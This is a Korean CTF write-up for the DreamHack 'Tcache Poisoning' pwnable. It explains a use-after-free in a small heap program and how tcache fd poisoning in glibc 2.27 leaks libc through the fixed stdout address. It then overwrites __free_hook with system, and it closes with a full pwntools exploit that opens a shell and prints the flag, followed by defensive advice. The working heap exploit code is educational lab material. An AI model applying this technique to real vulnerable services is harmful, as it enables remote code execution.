문제: DreamHack — Tcache Poisoning 분류: Pwnable (Heap / Use-After-Free) 난이도: 🥇 Gold 4 FLAG:
DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc}
이름부터 답을 다 말해주는 문제다. 그래도 "tcache poisoning 이 정확히 뭘 어떻게 오염시키는가"를 손으로 한 번 짚어보기에는 딱 좋은 크기라, 정찰부터 셸까지 빠짐없이 적어둔다. 소스는 40줄이 안 되고, 취약점은 딱 한 줄 — free 하고 나서 포인터를 NULL 로 안 지운다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Tcache Poisoning |
| 난이도 | 🥇 Gold 4 |
| 분류 | Pwnable (Heap, Use-After-Free) |
| 제공 파일 | tcache_poison, tcache_poison.c, libc-2.27.so, Dockerfile |
| libc | Ubuntu GLIBC 2.27-3ubuntu1.4 (18.04) |
| 보호 기법 | NX, Full RELRO, no-PIE, 카나리 없음 |
| 핵심 취약점 | free 후 포인터 미소거(UAF) → tcache fd 오염으로 임의 주소 할당 |
가장 먼저 볼 것은 보호 기법이다. Full RELRO 라 GOT 는 읽기 전용이고(덮어쓰기 불가), 대신 no-PIE 라 바이너리 영역 주소(0x400000~)가 전부 고정이다. 이 "고정된 주소" 하나가 나중에 libc 를 흘리는 실마리가 된다.
file tcache_poison && checksec --file=tcache_poison
소스 정찰
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n2. Free\n3. Print\n4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: "); scanf("%d", &size);
chunk = malloc(size);
printf("Content: "); read(0, chunk, size - 1);
break;
case 2:
free(chunk); // ← 여기. chunk 를 NULL 로 안 지운다
break;
case 3:
printf("Content: %s", chunk); // 해제된 청크도 그대로 읽음
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1); // 해제된 청크도 그대로 씀
break;
}
}
}전역 청크 포인터는 딱 하나다. Allocate 할 때마다 새 주소로 덮이고, Free 는 free(chunk) 만 하고 chunk = NULL 을 하지 않는다. 그래서 free 직후에도 chunk 는 방금 해제한 청크를 가리키고, 그 상태에서
Print는printf("%s", chunk)— 해제된 청크의 첫 8바이트(tcache fd)를 읽고,Edit는read(0, chunk, size-1)— 해제된 청크의 fd 를 덮는다.
전형적인 Use-After-Free 다. 디스어셈블로도 세 분기가 전부 같은 [rbp-0x10](전역 chunk)을 인자로 쓰는 게 보인다.

tcache poisoning 이 오염시키는 것
glibc 의 tcache 는 크기별 단일 연결 리스트다. 청크를 free 하면 그 청크의 사용자 데이터 첫 8바이트에 "다음 청크 주소(fd/next)"가 적히고, tcache 의 head 가 이 청크를 가리킨다. malloc 은 head 를 떼어 주고 head 를 head->next 로 옮긴다.
문제는 glibc 2.27 tcache 에는 이 fd 를 검증하는 장치가 하나도 없다는 것이다. safe-linking(fd 를 주소로 XOR 난독화, 2.32)도, tcache double-free 를 잡는 key 필드(2.29)도 아직 없다. 그러니 해제된 청크의 fd 를 원하는 주소로 덮으면, 그 주소가 다음다음 malloc 이 돌려주는 포인터가 된다. 즉 임의 주소를 청크로 할당할 수 있다.

보통 tcache poisoning 예제는 "free 두 번(double-free)"으로 시작하지만, 이 문제는 그럴 필요조차 없다. UAF 로 해제 청크를 직접 Edit 할 수 있으니, free 한 번 → Edit 로 fd 덮기, 이 두 동작이면 오염이 끝난다.
alloc(A) # tcache[idx] 에 들어갈 청크 하나 확보
free() # tcache[idx]: head → A, A->next = NULL
edit(p64(target)) # A->next = target ← poisoning (UAF write)
alloc() # malloc → A, head = A->next = target
alloc() # malloc → target ← 임의 주소가 청크로!1단계 — no-PIE 를 지렛대 삼아 libc 흘리기
Full RELRO 라 GOT 는 못 덮고, libc 함수를 부르려면 결국 libc 베이스를 알아야 한다. 그런데 이 바이너리는 no-PIE 라 stdout 전역 변수 자체가 고정 주소 0x601010 에 있다. 그리고 그 변수의 값은 libc 안의 &_IO_2_1_stdout_ 다(copy relocation 으로 로더가 채워준다).
정리하면 — tcache poisoning 으로 malloc 이 0x601010 을 돌려주게 만든 뒤 Print 하면, printf("%s", 0x601010) 이 그 자리에 든 libc 주소를 출력한다. libc 베이스를 흘리는 데 별도의 언소티드 빈 트릭이 필요 없다.
한 가지 걸림돌: malloc 이 0x601010 을 돌려주는 Allocate 는 그 직후 read(0, chunk, size-1) 로 내용을 쓴다. 여기서 stdout 값을 통째로 덮으면 누출이 깨진다. 그래서 딱 1바이트만 보낸다. _IO_2_1_stdout_ 의 오프셋이 ...760 이라 최하위 바이트는 ASLR 과 무관하게 항상 0x60 — 그 값을 그대로 다시 써 넣으면 포인터가 보존된다.
STDOUT_BSS = 0x601010 # no-PIE, *STDOUT_BSS = &_IO_2_1_stdout_
OFF_IO_STDOUT = libc.symbols['_IO_2_1_stdout_'] # 0x3ec760
alloc(0x18, b'A'*8) # A (tcache idx 0x20)
free() # tcache[0x20]: head → A, A->next = NULL (chunk 는 여전히 A → UAF)
edit(p64(STDOUT_BSS)) # A->next = &stdout (poisoning)
alloc(0x18, b'B'*8) # malloc → A, head = &stdout
alloc(0x18, b'\x60') # malloc → &stdout, 이어지는 1바이트 write 로 최하위 0x60 만 재기록(값 보존)
libc.address = u64(show().ljust(8, b'\x00')) - OFF_IO_STDOUT%s 는 중간에 널바이트를 만나면 거기서 끊긴다. libc 주소는 대개 6바이트가 온전히 나오지만, 드물게 ASLR 이 중간 바이트를 0x00 으로 만들면 누출이 짧게 잘린다. 그래서 실제 익스에서는 베이스가 페이지 정렬 + 정상 범위(0x7f...)인지 확인하고, 아니면 연결을 다시 맺어 재시도한다.
삽질 기록 — 누출이 가끔 음수 베이스로 튀던 이유
처음엔 재시도 없이 한 방에 뽑았는데, 열 번에 한두 번꼴로 libc base = -0x73000 같은 값이 나왔다. 원인은 위에 적은 %s 널 절단이다. 그날 붙은 libc 주소의 3~4번째 바이트가 우연히 0x00 이면 printf("%s") 가 3바이트만 뱉고, u64 결과가 _IO_2_1_stdout_ 오프셋보다 작아 베이스가 음수로 계산된다. 값이 ...760 으로 끝나는 걸 보고 "포인터 자체는 맞게 흘렸는데 길이만 잘렸구나"를 확인했다. 해결은 단순하게 — 베이스가 0x7f0000000000 ~ 0x800000000000 사이 + 페이지 정렬이면 채택, 아니면 재연결. 몇 번 돌려도 한 번이면 붙는다.
2단계 — __free_hook 에 system 얹기
libc 베이스를 알았으니 나머지는 교과서다. __free_hook 은 free() 가 호출되는 맨 앞에서 if (__free_hook) __free_hook(mem) 로 검사된다. 여기에 system 을 써 두고, 내용이 "/bin/sh" 인 청크를 free 하면 system("/bin/sh") 가 된다.
1단계에서 쓴 0x20 빈은 오염돼 있으니 이번엔 다른 크기(0x30) 를 써서 깨끗하게 poisoning 한다.
free_hook = libc.address + libc.symbols['__free_hook']
system = libc.address + libc.symbols['system']
alloc(0x28, b'C'*8) # B (tcache idx 0x30)
free() # tcache[0x30]: head → B, B->next = NULL
edit(p64(free_hook)) # B->next = __free_hook (poisoning)
alloc(0x28, b'D'*8) # malloc → B, head = __free_hook
alloc(0x28, p64(system)) # malloc → __free_hook, 이어지는 write 로 system 기록이게 실제로 그대로 벌어지는지 GDB 로 확인했다. 제공된 libc-2.27.so 로 patchelf 해서 문제와 같은 환경으로 맞춘 뒤(ASLR off 로 주소 고정), poisoning 직후 해제된 청크 B 의 fd 가 &__free_hook 과 일치하고, system 기록 직후 *__free_hook == system 인 것을 그대로 찍었다.

3단계 — "/bin/sh" 를 free
마지막은 아직 건드리지 않은 깨끗한 크기(0x40)로 청크 하나를 새로 잡아 내용을 "/bin/sh\x00" 로 채우고 그대로 free 한다. free 진입 순간 __free_hook(=system)이 불리고, 인자는 방금 청크의 주소 — 그 자리에 "/bin/sh" 가 들어 있으니 system("/bin/sh").
alloc(0x38, b'/bin/sh\x00') # 깨끗한 0x40 bin 에서 새 청크 = "/bin/sh"
free() # free() → __free_hook("/bin/sh") = system("/bin/sh") → shell전체 익스플로잇
from pwn import *
context.arch = 'amd64'
HOST, PORT = 'host3.dreamhack.games', 22791
libc = ELF('libc-2.27.so', checksec=False)
STDOUT_BSS = 0x601010 # no-PIE, *STDOUT_BSS = &_IO_2_1_stdout_
OFF_IO_STDOUT = libc.symbols['_IO_2_1_stdout_']
OFF_FREE_HOOK = libc.symbols['__free_hook']
OFF_SYSTEM = libc.symbols['system']
def io(r, i): r.recvuntil(b'4. Edit\n'); r.sendline(str(i).encode())
def alloc(r,s,c):io(r,1); r.recvuntil(b'Size: '); r.sendline(str(s).encode()); r.recvuntil(b'Content: '); r.send(c)
def free(r): io(r, 2)
def show(r): io(r,3); r.recvuntil(b'Content: '); return r.recvuntil(b'1. Allocate', drop=True)
def edit(r,c): io(r,4); r.recvuntil(b'Edit chunk: '); r.send(c)
# 1) &stdout 를 할당해 libc 누출 (%s 널절단 대비 재연결 재시도)
def leak_once():
r = remote(HOST, PORT)
alloc(r, 0x18, b'A'*8); free(r); edit(r, p64(STDOUT_BSS))
alloc(r, 0x18, b'B'*8); alloc(r, 0x18, b'\x60')
base = u64(show(r).ljust(8, b'\x00')) - OFF_IO_STDOUT
if base & 0xfff or not (0x7f0000000000 <= base <= 0x800000000000):
r.close(); return None
libc.address = base
return r
for _ in range(16):
r = leak_once()
if r: break
log.info('libc base = %#x', libc.address)
# 2) __free_hook = system (다른 크기 0x30 bin 사용)
alloc(r, 0x28, b'C'*8); free(r); edit(r, p64(libc.address + OFF_FREE_HOOK))
alloc(r, 0x28, b'D'*8); alloc(r, 0x28, p64(libc.address + OFF_SYSTEM))
# 3) system("/bin/sh")
alloc(r, 0x38, b'/bin/sh\x00'); free(r)
r.sendline(b'cat /home/tcache_poison/flag')
r.interactive()원격에 붙이면 libc 를 흘리고 셸을 얻어 플래그가 떨어진다.

[leak] libc base = 0x7fbbb9b09000
[leak] __free_hook = 0x7fbbb9ef68e8
[leak] system = 0x7fbbb9b58550
[shell] system("/bin/sh") 성공
[FLAG] DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc}방어 관점 정리
- free 후 포인터를 반드시 지운다.
free(p); p = NULL;한 줄이 이 문제 전체를 막는다. UAF 는 거의 항상 "해제한 포인터를 계속 들고 있는" 데서 시작한다. - 최신 glibc 로 올린다. 2.29 의 tcache key(double-free 탐지), 2.32 의 safe-linking(fd 난독화)만 있었어도 fd 를 이렇게 맨값으로 덮진 못한다. 이 문제가 성립하는 건 2.27 이라 그 방어가 없기 때문이다.
__free_hook/__malloc_hook은 이미 역사 속으로. glibc 2.34 부터 이 훅들이 제거됐다. 훅 오염 기법 자체가 최신 배포판에선 안 통한다.- PIE 를 켠다. no-PIE 라
&stdout같은 고정 주소를 그냥 읽어 libc 를 흘릴 수 있었다. PIE 였다면 바이너리 주소부터 따로 흘려야 했을 것이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…